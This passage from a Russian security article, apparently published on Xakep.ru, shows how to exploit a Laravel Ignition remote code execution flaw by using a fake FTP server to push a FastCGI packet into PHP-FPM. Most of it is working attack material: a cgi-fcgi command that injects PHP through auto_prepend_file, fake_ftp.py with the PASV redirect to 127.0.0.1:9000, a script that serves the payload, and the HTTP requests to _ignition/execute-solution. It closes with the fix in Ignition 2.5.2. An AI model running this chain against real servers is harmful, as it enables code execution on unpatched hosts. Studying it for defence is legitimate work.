Этот метод эксплуатации хорош, но имеет свои минусы, один из них — необходимость знать путь до лога или любого другого файла, доступного для записи в системе. Что делать, если такого не оказалось?
ЭКСПЛУАТАЦИЯ ЧЕРЕЗ FTP => PHP-FPM
Если первый способ эксплуатации не сработал или невозможен, то предлагаю разобраться с еще одним вариантом.Для этого нам понадобится рассмотреть особенности работы протокола FTP. Он может работать в активном или пассивном режиме, от этого зависит способ установки соединения. В активном режиме клиент создает соединение с сервером и передает ему свой IP-адрес и произвольный номер порта, на который ждет подключения. В пассивном режиме клиент отравляет команду PASV и получает от сервера IP-адрес и номер порта, которые затем используются клиентом для подключения. Фишка в том, что эти данные могут быть любыми, в том числе IP-адрес может быть 127.0.0.1. Таким образом можно подключаться к сервисам, которые доступны только из внутренней инфраструктуры.
В моем тестовом окружении есть демон PHP-FPM, который слушает порт 9000.
Демон PHP-FPM слушает порт 9000
Он работает по протоколу FastCGI, и к нему можно обращаться напрямую при помощи специально сформированных пакетов. Для этого существует множество утилит, например cgi-fcgi из библиотеки libfcgi.
Код:
PAYLOAD="<?php system('id');"
FILENAME="/var/www/html/index.php"
B64=$(echo "$PAYLOAD"|base64)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FILENAME SCRIPT_NAME=$FILENAME REQUEST_METHOD=POST \
cgi-fcgi -bind -connect 127.0.0.1:9000 | head
Отправка команд демону PHP-FPM с помощью протокола FastCGI
Здесь FILENAME — абсолютный путь до существующего скрипта. На самом деле его можно и не знать, главное, чтобы расширение было .php. Тут гораздо важнее переменная окружения PHP_VALUE, а именно опция auto_prepend_file. Эта директива переопределяет одноименную из файла конфигурации PHP. Все последующие вызовы на данном воркере будут использовать эту настройку. В ней указывается имя файла, который автоматически выполняется перед основным. Я воспользовался врапперами и напрямую указал код, который хочу выполнить. Предварительно закодировал его в кодировку Base64.
При эксплуатации мне понадобится более универсальный пейлоад. Для теста хорошо подойдет php://input. После успешной эксплуатации все, что будет передано в теле запроса, обработается интерпретатором PHP.
Теперь необходимо получить содержимое пакета, который отправляется к PHP-FPM, чтобы установить нужные настройки. Для этих целей мне приглянулся скрипт fpm.py за авторством phith0n.
Я немного модифицировал скрипт, чтобы он сохранял пакет в файл
exploit.bin.fcgi_packet_generator.py
Python:
187: with open("exploit.bin", "wb") as flr:
188: flr.write(request)
189: # self.sock.send(request)
190: # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
191: # self.requests[requestId]['response'] = b''
192: # return self.__waitForResponse(requestId)
193: return True
...
253: 'PHP_VALUE': 'auto_prepend_file = php://input',
- Отправляем запрос, который обращается к нашему FTP-серверу, для этого просто используем схему ftp://IP:PORT/filename.ext.
- Адрес сервера приходит в функцию file_get_contents, и выполняется подключение.
- Наш FTP-сервер получает соединение с запросом файла и отвечает, что может передать его в пассивном режиме. Для этого нужно подключиться на определенный хост и порт.
- На этом порте мы ожидаем соединения, чтобы передать серверу файл, содержащий полезную нагрузку (наш exploit.bin).
- Тут выполнение функции file_get_contents завершается, и в переменной
$originalContentsтеперь содержится наш пейлоад.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:73: public function makeOptional(array $parameters = []) 74: { 75: $originalContents = file_get_contents($parameters['viewFile']); - Затем наступает черед функции file_put_contents. Она вновь подключается к тому же самому FTP-серверу, только теперь для того, чтобы записать файл.
- На этот раз войдя в пассивный режим, отвечаем клиенту, что для того, чтобы передать содержимое для записи в файл, необходимо подключиться к хосту 127.0.0.1 и порту 9000. То есть к демону PHP-FPM.
- Клиент выполняет подключение и отправляет содержимое exploit.bin, в котором лежит корректный пакет FastCGI. Таким образом полезная нагрузка доставляется в нужное место.
В качестве FTP-сервера я взял скрипт fake_ftp.py Ивана @dfyz Комарова и добавил туда обработку дополнительных команд и двух последовательных коннектов.
Скрипт был написан в рамках решения таска resonator на hxp CTF 2020.
fake_ftp.py
Python:
LOCAL_PORT = 9000
LOCAL_PORT_1 = 65123
HOST_FPM = '127,0,0,1'
HOST_VALID = '192.168.99.1'
HOST_VALID_FTP = '192,168,99,1'
...
elif cmd == b'PASV':
if first == True:
self._send(f'227 Entering passive mode ({HOST_VALID_FTP},{LOCAL_PORT_1 // 256},{LOCAL_PORT_1 % 256})'.encode())
else:
self._send(f'227 go to ({HOST_FPM},{LOCAL_PORT // 256},{LOCAL_PORT % 256})'.encode())
{(first value * [2^8]) + second value}, поэтому в коде нам нужно проделать обратную операцию.При первом коннекте клиента к порту 65123 нужно отдать файл с полезной нагрузкой. Сделаю это при помощи простого Python-скрипта, который использует библиотеку сокетов.
serve_file_pasv.py
Python:
import socket
import sys
LOCAL_PORT_1 = 65123
HOST_VALID = '192.168.99.1'
FILE = 'exploit.bin'
fi=open(FILE,'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST_VALID, LOCAL_PORT_1))
print('Serve {} at {}:{}'.format(FILE, HOST_VALID, LOCAL_PORT_1))
sys.stdout.flush()
s.listen()
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = fi.read(1024)
while data:
conn.send(data)
data=fi.read(1024)
fi.close()
print('Serve finished.')
Код:
python3 fcgi_packet_generator.py -p 9000 127.0.0.1 /tmp/any.php
Код:
python3 serve_file_pasv.py
Код:
python3 fake_ftp.py
Подготовка к эксплуатации RCE уязвимости в Laravel через FTP
Далее отправляем запрос на подключение к этому FTP.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"ftp://192.168.99.1/test.txt"
}
}
Успешно доставили полезную нагрузку в PHP-FPM через FTP
А теперь можно выполнять код на PHP, просто отправляя его в теле запроса.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
<?php
system('id');
Выполнение произвольного кода в Laravel через PHP-FPM
Полный исходный код всех частей эксплоита ты можешь найти в моем репозитории на GitHub.
Конечно, с помощью такой атаки через FTP можно проэксплуатировать не только PHP-FPM, но и любые сервисы, доступ к которым есть с уязвимой машины. Например, на периметре частенько попадаются memcache и Redis. Так что тема эксплуатации через FTP очень интересная и актуальная. Я настоятельно рекомендую изучить презентацию по этой теме моего коллеги Bo0oM.
ЗАКЛЮЧЕНИЕ
В этом обзоре я рассмотрел два интересных варианта эксплуатации одной уязвимости, которые были больше похожи на таск из какого‑нибудь CTF. Система построения приложений из набора библиотек может поставить под угрозу безопасность даже таких крупных проектов, как Laravel. К счастью, эта же особенность позволяет разработчикам быстро обновлять или вовсе удалять ненадежные библиотеки, в которых находятся опасные баги.Разработчики оперативно исправили эту уязвимость в Ignition версии 2.5.2.
/var/www/composer.json
Код:
...
"require-dev": {
"facade/ignition": "^2.5",
...
composer update
Автор @aLLy
источник хакер.ру